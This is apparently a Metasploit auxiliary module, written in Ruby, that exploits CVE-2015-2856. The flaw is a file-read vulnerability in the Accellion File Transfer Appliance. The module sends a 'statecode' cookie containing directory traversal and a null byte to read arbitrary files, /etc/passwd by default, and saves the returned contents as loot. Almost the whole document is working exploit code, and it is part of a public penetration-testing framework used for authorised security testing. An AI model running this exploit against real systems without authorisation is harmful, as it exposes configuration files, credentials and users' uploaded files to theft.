## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner def initialize(info = {}) super(update_info(info, 'Name' => "Accellion FTA 'statecode' Cookie Arbitrary File Read", 'Description' => %q{ This module exploits a file disclosure vulnerability in the Accellion File Transfer appliance. This vulnerability is triggered when a user-provided 'statecode' cookie parameter is appended to a file path that is processed as a HTML template. By prepending this cookie with directory traversal sequence and appending a NULL byte, any file readable by the web user can be exposed. The web user has read access to a number of sensitive files, including the system configuration and files uploaded to the appliance by users. This issue was confirmed on version FTA_9_11_200, but may apply to previous versions as well. This issue was fixed in software update FTA_9_11_210. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://www.rapid7.com/blog/post/2015/07/10/r7-2015-08-accellion-file-transfer-appliance-vulnerabilities-cve-2015-2856-cve-2015-2857/'], ['CVE', '2015-2856'] ], 'DisclosureDate' => '2015-07-10' )) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('TARGETURI', [true, 'The URI to request that triggers a call to template()', '/courier/intermediate_login.html']), OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']), ]) end def run_host(ip) res = send_request_cgi({ 'method' => 'GET', 'uri' => datastore['TARGETURI'], 'cookie' => 'statecode=../../../../..' + datastore['FILEPATH'] + '%00', }) return if not res if res.code != 200 vprint_status("#{peer} Unexpected response code: #{res.code} #{res.message}") return end contents = res.body.to_s # Check for patched versions of the FTA if contents =~ / Missing session ID.*Accellion, Inc/m print_error("#{peer} Appears to be a patched Accellion FTA") return end fname = ::File.basename(datastore['FILEPATH']) expected_server = "Apache" expected_expires = 'Mon, 26 Jul 1997 05:00:00 GMT' # Use hints from the server headers to indicate whether we think this was a valid response if res.headers['Server'].to_s == expected_server && res.headers['Expires'].to_s == expected_expires path = store_loot( 'accellion.fta.file', 'application/octet-stream', rhost, res.body, fname ) print_good("#{peer} Successfully downloaded #{datastore['FILEPATH']} as #{path}") else vprint_status( "#{peer} Unexpected response headers: (Server=#{res.headers['Server'].inspect} Expected=#{expected_server.inspect}) " + "(Expires=#{res.headers['Expires'].inspect} Expected=#{expected_expires.inspect})" ) end end end